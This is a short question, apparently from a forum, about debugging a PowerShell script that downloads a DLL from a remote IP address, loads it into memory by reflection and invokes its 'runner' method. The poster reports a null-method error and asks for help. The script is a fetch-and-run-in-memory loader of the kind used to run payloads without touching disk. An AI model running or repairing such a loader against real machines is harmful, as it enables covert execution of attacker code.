Powershell Execute a specific method from an assembly

Hello,

I'm trying to execute this script.ps1
in my vm of Windows 10

This variables gives me problems :

$method= $class.GetMethod("runner")

$method.Invoke(0, $null)

It cannot call method value of null

invalid operation

runtime exception

This is the code:

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')$assem = [System.Reflection.Assembly]::Load($data)$class = $assem.GetType("ClassLibrary1.Class1")$method = $class.GetMethod("runner")$method.Invoke(0, $null)

What can i do?

Thanks